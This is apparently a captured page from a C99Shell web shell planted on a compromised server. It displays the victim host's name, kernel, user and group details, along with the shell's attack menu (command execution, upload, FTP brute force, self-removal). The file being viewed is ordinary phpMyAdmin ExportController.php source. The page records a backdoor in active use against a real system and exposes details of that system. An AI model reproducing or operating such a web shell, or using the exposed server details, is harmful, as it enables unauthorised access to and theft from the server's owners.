!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Table/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExportController.php (3.96 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Table;

use 
PhpMyAdmin\Config\PageSettings;
use 
PhpMyAdmin\Export\Options;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Plugins;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\SqlParser\Parser;
use 
PhpMyAdmin\SqlParser\Statements\SelectStatement;
use 
PhpMyAdmin\SqlParser\Utils\Query;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;

use function 
__;
use function 
array_merge;
use function 
implode;
use function 
is_array;

class 
ExportController extends AbstractController
{
    
/** @var Options */
    
private $export;

    public function 
__construct(
        
ResponseRenderer $response,
        
Template $template,
        
string $db,
        
string $table,
        
Options $export
    
) {
        
parent::__construct($response$template$db$table);
        
$this->export $export;
    }

    public function 
__invoke(): void
    
{
        global 
$db$urlParams$table$replaces$cfg$errorUrl;
        global 
$sql_query$where_clause$num_tables$unlim_num_rows;

        
$pageSettings = new PageSettings('Export');
        
$pageSettingsErrorHtml $pageSettings->getErrorHTML();
        
$pageSettingsHtml $pageSettings->getHTML();

        
$this->addScriptFiles(['export.js']);

        
Util::checkParameters(['db''table']);

        
$urlParams = ['db' => $db'table' => $table];
        
$errorUrl Util::getScriptNameForOption($cfg['DefaultTabTable'], 'table');
        
$errorUrl .= Url::getCommon($urlParams'&');

        
$urlParams['goto'] = Url::getFromRoute('/table/export');
        
$urlParams['back'] = Url::getFromRoute('/table/export');

        
// When we have some query, we need to remove LIMIT from that and possibly
        // generate WHERE clause (if we are asked to export specific rows)

        
if (! empty($sql_query)) {
            
$parser = new Parser($sql_query);

            if (! empty(
$parser->statements[0]) && ($parser->statements[0] instanceof SelectStatement)) {
                
// Checking if the WHERE clause has to be replaced.
                
if (! empty($where_clause) && is_array($where_clause)) {
                    
$replaces[] = [
                        
'WHERE',
                        
'WHERE (' implode(') OR ('$where_clause) . ')',
                    ];
                }

                
// Preparing to remove the LIMIT clause.
                
$replaces[] = [
                    
'LIMIT',
                    
'',
                ];

                
// Replacing the clauses.
                
$sql_query Query::replaceClauses($parser->statements[0], $parser->list$replaces);
            }
        }

        if (! isset(
$sql_query)) {
            
$sql_query '';
        }

        if (! isset(
$num_tables)) {
            
$num_tables 0;
        }

        if (! isset(
$unlim_num_rows)) {
            
$unlim_num_rows 0;
        }

        
$GLOBALS['single_table'] = $_POST['single_table'] ?? $_GET['single_table'] ?? $GLOBALS['single_table'] ?? null;

        
$exportList Plugins::getExport('table', isset($GLOBALS['single_table']));

        if (empty(
$exportList)) {
            
$this->response->addHTML(Message::error(
                
__('Could not load export plugins, please check your installation!')
            )->
getDisplay());

            return;
        }

        
$exportType 'table';
        
$isReturnBackFromRawExport = isset($_POST['export_type']) && $_POST['export_type'] === 'raw';
        if (isset(
$_POST['raw_query']) || $isReturnBackFromRawExport) {
            
$exportType 'raw';
        }

        
$options $this->export->getOptions(
            
$exportType,
            
$db,
            
$table,
            
$sql_query,
            
$num_tables,
            
$unlim_num_rows,
            
$exportList
        
);

        
$this->render('table/export/index'array_merge($options, [
            
'export_type' => $exportType,
            
'page_settings_error_html' => $pageSettingsErrorHtml,
            
'page_settings_html' => $pageSettingsHtml,
        ]));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--